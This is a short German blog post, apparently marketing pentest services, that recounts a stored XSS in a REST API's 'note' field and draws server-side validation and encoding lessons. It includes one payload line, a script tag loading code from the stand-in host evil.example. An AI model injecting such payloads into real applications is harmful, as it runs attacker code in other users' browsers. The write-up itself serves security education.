Real World XSS in moderner API – so leicht geht's
Moderne APIs sind oft RESTful, JSON-basiert und gut dokumentiert – aber das schützt sie nicht automatisch vor klassischen Schwachstellen. In einem realen Fall stießen wir auf eine persistente XSS in einer API, die von mehreren Frontends konsumiert wurde – und das durch eine simple, fehlende Validierung eines einzigen Feldes.
Der Angriffsvektor: Eingabefeld "note"
Die API nahm unter anderem POST-Requests mit einem Feld note entgegen, das intern in einer Datenbank gespeichert und über verschiedene Clients (Web & Mobile) wieder angezeigt wurde. Das Backend validierte zwar das JSON-Schema, prüfte aber nicht den tatsächlichen Content des Strings.
{
"note": "<script src=//evil.example/x.js></script>"
}
Beispielinhalt. Die Ziel-URL wurde für Demonstrationszwecke anonymisiert.
Warum das funktioniert hat
Die Webanwendung renderte das Feld direkt in einem nicht-escaped HTML-Kontext. Auch der mobile Client zeigte HTML-basiert an – inklusive Skriptausführung. Besonders kritisch: Die API hatte keine Output-Encoding-Schicht für dynamische Inhalte.
Was wir daraus gelernt haben
- Client-Rendering ≠ sichere Darstellung – niemals auf Clientschutz verlassen
- Alle API-Inhalte benötigen Server-seitige Validierung und Encoding
- XSS ist nicht altmodisch – sie lebt in jeder neuen Technologie weiter
Tools & Technik
Für den Angriff und die Analyse nutzten wir u. a. Burp Suite, PayloadsAllTheThings sowie eine eigens angepasste Repeater-Session zum Testen persistenter Einträge über verschiedene API-Endpunkte hinweg.
🧪 Wann wurde Ihre API zuletzt auf XSS getestet?
Unser Applikations-/API-Pentest entdeckt genau solche Schwachstellen – bevor ein Angreifer es tut.
Jetzt testen lassen